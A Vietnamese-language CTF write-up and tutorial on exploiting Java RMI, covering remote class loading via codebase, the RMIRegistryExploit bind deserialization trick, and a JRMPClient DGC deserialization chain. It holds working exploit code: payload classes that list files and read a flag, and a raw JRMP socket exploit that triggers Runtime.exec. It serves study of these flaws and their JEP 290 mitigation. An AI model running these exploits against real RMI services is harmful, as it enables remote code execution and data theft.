Java Remote Method Invocation - Part 1

Java Remote Method Invocation - Part 1

Series này mình dự định sẽ viết lại các kĩ thuật khai thác rmi trong java mà chủ yếu là đọc được từ blog của anh peterjson. Vẫn với phương châm "ctf là thầy", mình sẽ cố gắng tìm các bài ctf liên quan để làm, phân tích, nghiền ngẫm vì mình tin rằng học qua ctf sẽ giúp dễ tiếp cận vấn đề hơn đồng thời tiết kiệm được nhiều thời gian hơn. Lại luyên thuyên nữa rồi 🤣 vào việc chính thôi.

Sơ lược về RMI Application

Về mục đích ra đời của rmi, nó được tạo ra để đáp ứng việc một object chạy ở JVM này invoke method của một object chạy ở JVM khác. Khái quát về kiến trúc sẽ như hình bên dưới:

image.png

Các thành phần:

  • Stub: có thể xem như một proxy bên phía client. Nằm trong client system và đóng vai trò như một gateway cho client program.

  • Skeleton: có thể xem như một proxy bên phía server. stub giao tiếp với nó để pass request đến remote object.

  • RMI Registry: là nơi để lưu các objects của server, mỗi lần server tạo ra một object và register object này với RMIregistry (thông qua method bind() hoặc reBind()). Các objects được register sẽ có một tên riêng biệt hay còn gọi là bind name.

Để invoke method của một remote object, client sẽ cần reference đến object đó, và điều này có thể dễ dàng thực hiện nhờ vào lookup()bind name.

Trước tiên, registry khởi chạy sẽ đăng ký các method như lookup, list, bind… để client sử dụng, sau đó quá trình invoke một method sẽ diễn ra như sau:

image.png

Bên cạnh đó còn một điều mà ta vẫn cần phải quan tâm đến "Marshalling" và "Unmarshalling". Khi client invoke một method của remote object có chứa paramters, các paramters sẽ được "đóng gói" lại và gửi đi. Các parameters này có thể ở dạng primitive hoặc là object, trong trường hợp là primitive, rmi sẽ tạo một bản copy các parameters này và gửi đến remote method. Trong trường hợp là object, chúng sẽ được serialized. Quá trình này được gọi là marshalling. Bên phía server, sẽ thực hiện việc "mở" các packed parameters và invoke remote method. Quá trình này được gọi là unmarshalling.

Điểm cần để ý trong cái mình đề cập ở trên đó là có sự tham gia của serialize và deserialize nếu param là object 🧐.

RMI-JRMP protocol analysis

image.png

Về cơ bản, khi client sử dụng rmi service, stub sẽ gửi byte stream đến skel, các giá trị đầu trong byte stream này sẽ đại diện cho các trường magic, version, protocol, operation, ObjID, num, hash. Và bên phía server sẽ đọc ra các trường này từ byte stream, sau đó dựa vào chúng để invoke method tương ứng.

Mỗi RMI service giữ một object của UnicastServerRef, map đến một class chứa remote method.

RMI service được xác định bằng một ObjID duy nhất

image.png

(server sẽ dựa vào ObjID để dispatch)

Method sẽ được referenced bằng method hash ID

image.png

Arguments cũng sẽ được contructed lại và đưa vào method

image.png

Chỗ này mình sẽ nói ngoài lề một tí, ở đây server bắt đầu quá trình unmarshall các parameters và như mình đã nói ở trên có thể khai thác deserialization (chall ascis_rmi_2)

image.png

Vậy tóm lại:

  • Các thông tin cần thiết để invoke một rmi service: TCP port, ObjID và target method's hash.

  • Registry và DGC là các service đặc biệt với các giá trị ObjID và method hash đã biết từ trước.

  • ObjID đối với các services khác có thể được lấy từ lookup() trong Registry.

  • Method hash có thể được tính toán từ method description.

(Vì phần này mình chỉ nêu lí thuyết, để hiểu rõ hơn thì các bạn có thể tự setup và debug)

useCodebaseOnly property

Mình sẽ mượn bài LameRMI - Polictf2017 trong blog của anh peter để nói về kĩ thuật này.

Bài này theo như spoil của anh ấy thì là khai thác về codebase và remote class loading trong rmi. Mình sẽ viết lại những gì học được từ writeup của người khác 🥺 đồng thời làm rõ 1 số chỗ, writeup gốc các bạn xem tại đây.

Source code: https://github.com/polictf/sources2017/tree/master/pwn-lamermi

Mình làm theo hướng dẫn trong phần "Deploying" của link trên và chỉnh java.rmi.server.hostname=192.168.169.132 (192.168.169.132 là địa chỉ IP của kali vm)

image.png

Sau đó khởi chạy server

image.png

Thực chất bài này đề chỉ cho mỗi hostname sau đó player sẽ phải scan các open port với nmap, nhưng vì lười setup lại cho bài bản nên chắc là mình sẽ làm theo kiểu hơi thiêng về audit một tí.

Bên server sẽ có một interface là AverageService và RMIregistry run ở port 1099.

package it.polictf.lamermi;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface AverageService extends Remote {
    Double average(List<Integer> integerList) throws RemoteException;
}

Thử viết một đoạn code nhỏ để invoke method average()

image.png

\=> Có thể đoán được hàm này tính trung bình cộng các phần tử trong List

Từ file start.sh khi nãy, ta biết được thuộc tính java.rmi.server.useCodebaseOnly=falsejava.security.policy=security.policy - grant { permission java.security.AllPermission; };

Về thuộc tính useCodebaseOnly mình có đọc về nó tại đây, focus vào các dòng sau

image.png

Tóm gọn lại ta có, nếu một bên có set thuộc tính java.rmi.server.codebase và bên còn lại có thuộc tính java.rmi.server.useCodebaseOnly là false nó sẽ dùng url được chỉ định ở codebase của bên gửi và load java class được reference trong rmi request. Tới đây mình tự đặt câu hỏi, nếu một malicious class được load thì sẽ ra sao ? 😨

Để hiểu kĩ hơn nữa về codebase, mình khuyến khích các bạn tham khảo tại đây.

Tiếp theo, mình tạo class Payload0 là subtype của ArrayList<Integer>

image.png

Sau đó invoke lại method average nhưng lần này thay đổi 1 tí

image.png

\=> Báo lỗi ClassNotFoundException

Vậy nếu đặt Payload0.class vào folder structure như bên dưới

image.png

Đồng thời set thêm thuộc tính codebase, kết quả

image.png

Có GET request đến từ 192.168.169.132

image.png

Author's solution

Ý tưởng khai thác của tác giả là override một method của List<Integer> được gọi trong average() để execute code lấy kết quả và đọc thông qua exception.

Tạo một class mới Payload1 bởi vì server chỉ load các class mà nó chưa biết, nếu dùng lại class cũ thì sẽ không thể khiến server fetch tới python server của ta.

Script để tìm method của List<Integer> được call trong average()

package it.polictf.lamermi;

import java.util.*;

public class Payload1 extends ArrayList<Integer> {

    @Override
    public Integer get(int index) {
        throw new RuntimeException("get " + index);
    }
    @Override
    public Iterator<Integer> iterator() {
        Runtime.getRuntime().exec()
    }
    @Override
    public ListIterator<Integer> listIterator() {
        throw new RuntimeException("listIterator");
    }
}

image.png

\=> Chèn payload vào bên trong method iterator()

Override iterator() để list files:

package it.polictf.lamermi;

import java.io.File;
import java.util.*;

public class Payload2 extends ArrayList<Integer> {

    @Override
    public Iterator<Integer> iterator() {
        File cwd = new File(".");
        String msg = cwd.getAbsolutePath() + ": ";
        for (String file : cwd.list())
            msg += file + ", ";
        throw new RuntimeException(msg);
    }
}

Response

Exception in thread "main" java.lang.RuntimeException: /home/kali/Desktop/JavaLabs/pwn-lamermi/build/package/.: start.sh, lamermi-1.0-SNAPSHOT.jar, security.policy, flag, 
    at it.polictf.lamermi.Payload2.iterator(Payload2.java:14)
    ...

Cuối cùng là đọc file flag

image.png


RMIRegistryExploit chain

Vẫn là bài ctf khi nãy nhưng Mortic đã áp dụng chain RMIRegistryExploit để solved

Mortic's solution

Ý tưởng khai thác: từ phía client bind một malicious object vào registry, và khiến bên phía server deserialization nó. => có thể khai thác được native deserialization. (gadget chain được sử dụng là "RMIRegistryExploit")

Main class

public static void main(String args[]) {

  AverageService service = null;
  Registry reg1 = null;
  Remote p = new Exploit();

  String host = args[0];
  int port = Integer.parseInt(args[1]);

  System.out.println("Searching registry at "+host+":"+port);

  try {
      reg1 = LocateRegistry.getRegistry(host,port);
  } catch (RemoteException e) {
      System.out.println("No registry   found!\nAborting...");
      e.printStackTrace();
      return;
  } finally {
      System.out.println("Registry found!");
  }

  System.out.println("Starting exploit...");
  try {
      reg1.bind("new service", p);
  } catch (RemoteException | AlreadyBoundException e) {
      System.out.println(e.getMessage());
  }
}

Exploit class

public class Exploit implements Remote, Serializable {
  public void exploit() throws IOException {
      /*
       Cat flag is not java enough
      */
      BufferedReader br = new BufferedReader(new FileReader("flag"));
      try {
          StringBuilder sb = new StringBuilder();
          String line = br.readLine();

          while (line != null) {
              sb.append(line);
              sb.append(System.lineSeparator());
              line = br.readLine();
          }
          String everything = sb.toString();
          /*
            We cannot use System.out to print the string
            so I decided to insert the result of the exploit inside
             an exception.
            All the unhandled exceptions are kindly sent back to the client.
          */
          IOException e = new
          IOException(everything);
          throw e;
      } finally {
          br.close();
      }
  }

  private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
      exploit();
      in.defaultReadObject();
  }
}

Kết quả

image.png

Mình sẽ nói về kĩ thuật này một tí, nhưng trước tiên vẫn nên setup để remote debug 😂

start.sh mình add thêm dòng này

image.png

Tạo một project với Intellij idea để kết nối tới và debug, bởi vì sẽ chỉ focus vào các class trong jdk nên ở project này mình add jdk 8u112 (lưu ý version nhé).

image.png

Bên phía client, đặt breakpoint tại RegistryImpl_Stub.bind(), bên phía server đặt breakpoint tại RegistryImpl_Skel.dispatch(), sau đó run file exploit

Bên client đụng bp, ta cùng check qua method bind, một RemoteCall được tạo với hash là 4905912898345647071L, các đoạn code phía sau đơn giản là deserialize object muốn bind

image.png

Bên phía server đụng bp, chương trình sẽ tiếp tục thực thi đoạn code trong else

image.png

Gọi đến RegistryImpl.bind(), đối với các version jdk nhỏ hơn, rmi sẽ không kiểm tra Registry và client host (host gọi method bind()) phải nằm trên cùng một host, vì vậy remote host có thể dùng method bind() đến Registry. Nhưng khi rmi đã thêm tính năng này - checkAccess, chỉ local host mới có thể bind() đến Registry.

image.png

Nhưng điều này không thành vấn đề bởi vì method checkAccess được gọi sau khi server deserialize data gửi từ client

\=> Ta vẫn có thể khai thác native deserialization với sink của chain như hình bên dưới:

image.png


JRMPClient của mbechler

Trước khi đi vào phân tích chain này mình sẽ nói sơ qua về distributed garbage collection (DGC)

DGC

RMI subsytem triển khai DGC dựa trên việc đếm số lần reference của remote object, mục đích của việc này là để cung cấp khả năng quản lí bộ nhớ một cách tự động.

DGCClient là một triển khai bên phía client của RMI DGC system. Khi một live reference đi vào JVM, nó phải được register với DGCClient để được đưa vào DGC. Khi live reference đầu tiên của một remote object được register (khi client tạo ra một remote reference), dirty() call sẽ gọi tới phía DGC server. Method này trả về một "lease" đảm bảo rằng server-side DGC sẽ không collect remote object trong một khoảng thời gian, client sẽ phải gửi thêm nhiều dirty() call để renew cái lease trước khi nó hết hạn. DGCClient theo dõi các registered live reference, khi live reference của một remote object được collect locally, clean() call sẽ được gọi tới phía server-side DGC, call này nói rằng server không cần phải giữ lại remote object đó nữa.

JRMPClient chain

Chain này sẽ target vào DGC mà mình đã nói ở phía trên, và để phân tích chain này mình sẽ sử dụng jdk 8u112 + bài ascis rmi 2 của svattt 2020 nhưng chỉnh lại một tí cho đơn giản.

Client-side setup

image.png

Class Player mình chỉnh lại như sau

package rmi;

import java.io.IOException;
import java.io.Serializable;

public class Player implements Serializable {

    //final static long serialVersionUID = 5558077863197230219L;

    private String name;
    private boolean isAdmin;

    public Player() {
    }

    public String getName() {
        return this.name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public boolean isAdmin() {
        return this.isAdmin;
    }

    public void setAdmin(boolean admin) {
        this.isAdmin = admin;
    }

    @Override
    public String toString() {

        if(this.isAdmin()){
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        return this.isAdmin() ? "ADMIN LOGGED IN": "USER LOGGED IN";
    }
}

\=> Chỉ cần ta làm cho thuộc tính isAdmin=true đồng thời method toSring() được gọi là sẽ đạt được mục đích (vì là demo đơn giản nên mình sẽ gọi lên caculator)

Class để exploit (cũng như để phân tích chain):

package rmi;

import sun.rmi.transport.TransportConstants;

import javax.management.BadAttributeValueExpException;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.net.*;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.UnknownHostException;

public class ASCISPlayer {
    public static void main(String[] args) throws Exception {

//        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//
//        ASCISInterf as = (ASCISInterf) registry.lookup("ascis");
//        System.out.println(as.login(payload));

        Player pl = new Player();
        pl.setAdmin(true);

        BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
        Field valField = payload.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(payload, pl);

        String hostname = "127.0.0.1";
        int port = 1099;
        try {
            System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
            //Communication method
            makeDGCCall(hostname, port, payload);
        } catch (Exception e) {
            e.printStackTrace(System.err);
        }
        //Utils.releasePayload("CommonsCollections3", payloadObject);

    }

    public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
        InetSocketAddress isa = new InetSocketAddress(hostname, port);
        Socket s = null;
        DataOutputStream dos = null;
        try {
            //Create a Socket communication with the rmi service that uses payloads/JRMPLIstener to start monitoring
            s = SocketFactory.getDefault().createSocket(hostname, port);
            s.setKeepAlive(true);
            s.setTcpNoDelay(true);
            //Get the output stream of Socket
            OutputStream os = s.getOutputStream();
            //Pack the output stream into a DataOutputStream stream object
            dos = new DataOutputStream(os);
            //Three sets of data are sent below, which are the data communicated before the handleMessages method of the server TCPTransport class is called
            dos.writeInt(TransportConstants.Magic); // 1246907721;
            dos.writeShort(TransportConstants.Version); // 2
            dos.writeByte(TransportConstants.SingleOpProtocol); // 76
            //80 is obtained in the handleMessages method of the TCPTransport class
            dos.write(TransportConstants.Call); //80
            //The following is still sending data to the server, but after serialization
            @SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos);
            //The following four sets of data are finally sent to the server to create an ObjID object, and the value is the same as dgcID[0:0:0, 2]
            objOut.writeLong(2); // DGC
            objOut.writeInt(0);
            objOut.writeLong(0);
            objOut.writeShort(0);
            //The following data is obtained in each dispatch method of the server
            objOut.writeInt(1); // dirty
            objOut.writeLong(-669196253586618813L);
            //After so much data communication, the malicious payload can be sent here, and the server will deserialize it.
            objOut.writeObject(payloadObject);

            os.flush();
        } finally {
            if (dos != null) {
                dos.close();
            }
            if (s != null) {
                s.close();
            }
        }
    }

    static final class MarshalOutputStream extends ObjectOutputStream {


        private URL sendUrl;

        public MarshalOutputStream(OutputStream out, URL u) throws IOException {
            super(out);
            this.sendUrl = u;
        }

        MarshalOutputStream(OutputStream out) throws IOException {
            super(out);
        }

        @Override
        protected void annotateClass(Class<?> cl) throws IOException {
            if (this.sendUrl != null) {
                writeObject(this.sendUrl.toString());
            } else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
                writeObject(null);
            } else {
                URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
                String cb = "";

                for (URL u : us) {
                    cb += u.toString();
                }
                writeObject(cb);
            }
        }


        /**
         * Serializes a location from which to load the specified class.
         */
        @Override
        protected void annotateProxyClass(Class<?> cl) throws IOException {
            annotateClass(cl);
        }
    }


}

Server-side setup

image.png

Bên phía server chỉnh lại class Player tương tự như ở client đồng thời run file ASCISServer ở dạng Debug, set breakpoint tại TCPTransport.handleMessages và chạy file exploit bên phía client. Lúc này bên phía server sẽ dừng lại tại breakpoint đã set và call stack sẽ như sau

image.png

Nhìn qua caller của handleMessages - method TCPTransport$ConnectionHandler.run0, ta thấy input stream được lấy từ socket đồng thời read int data và đưa vào var6

image.png

Tiếp theo, read short data đưa vào var7 đồng thời so sánh var6 == 1246907721 && var7 == 2 (ứng với magic và version) , nếu thỏa thì nhảy vào code trong if đồng thời đọc tiếp một byte, lưu vào var15 (ứng với protocol) và tiếp tục lấy giá trị này đưa vào switch

image.png

Ở đây debugger hiển thị sai giá trị của biến var15, lẻ ra phải là 76 -> nhảy vào nhánh case 76 đồng thời gọi đến handleMessages

image.png

var5(ứng với operation) mang giá trị 80 nên sẽ nhảy vào nhánh case 80

image.png

F7 để đi vào serviceCall(), ta sẽ thấy có một đoạn code gọi đến method ObjID.read()

image.png

F7 để đi vào method này, một long data sẽ được đọc đồng thời lại gọi đến UID.read()

image.png

Tiếp tục nhảy vào trong, một int, long, short data lần lượt được đọc đồng thời trả về instance của class UID ứng với 3 giá trị này.

image.png

Vậy sau khi thực hiện ObjId.read() một instance của class ObjID được tạo và mang giá trị [0:0:0, 2]

var39 sẽ được đem đi so sánh với dgcID

image.png

dgcId này được khởi tạo với dgcID = new ObjID(2)

image.png

Ta cùng nhìn sơ qua contructor của ObjID

image.png

và UID

image.png

Vậy dễ thấy giá trị của var39 tạo từ ObjId.read() sẽ tương tự như dgcID

Các đoạn code tiếp theo sẽ get ra dispatcher tương ứng với target trước đó

image.png

và gọi đến dispatch()

image.png

Nhảy vào method này, ở đây debugger hiển thị sai giá trị của var3 (lẽ ra giá trị phải là 1)

image.png

F7 vào oldDispatch, một long data được đọc và gọi đến DGCImpl_Skel.dispatch

image.png

Từ điều kiện và giá trị của các biến từ debugger, chương trình sẽ thực thi đoạn code trong else

image.png

vì giá trị của var3 là 1 -> nhảy vào case 1

image.png

và đây cũng chính là sink của chain này

Bài này mình dùng một cách cơ bản để trigger method toString trong class Player bằng cách set giá trị cho trường val của intance tạo từ class BadAttributeValueExpException là instance của class Player , luồng thực thi sẽ là: BadAttributeValueExpException.readObject() -> val.toString() để minh chứng thì mình lại tiếp tục debug thôi

image.png

Từ hình trên có thể thấy các giá trị đã được set theo như ý muốn của ta.

Giờ mình sẽ chạy lại server ở chế độ Run đồng thời run script exploit

Kết quả

image.png


Lưu ý: attack vector của các chain trên bị limit từ jdk version 8u121, 7u131, 6u141, sau khi có JEP 290

image.png

Kể từ sau các version đã nói trên thì từ file java.security ta biết được jdk có add thêm một vài điều kiện cũng như whitelist các class được phép deserialize

image.png

image.png

Tóm tắt

Vì post này khá dài nên mình sẽ tóm tắt lại ở cuối để take note cho bản thân

  • useCodebaseOnly: có thể dẫn đến remote loading một malicous class.

  • RMIregistry: khai thác dựa vào việc client sẽ bind một malicious object vào registry bằng bind() sau đó server sẽ deserialize object này.

  • JRMPClient: target vào DGC, bằng việc tạo ra các byte stream thỏa mãn điều kiện có thể dẫn đến insecure deserilization bên phía server

  • Các kĩ thuật RMIregistry và JRMPClient ở trên đều sẽ không hoạt động sau khi JEP ra đời

Tham khảo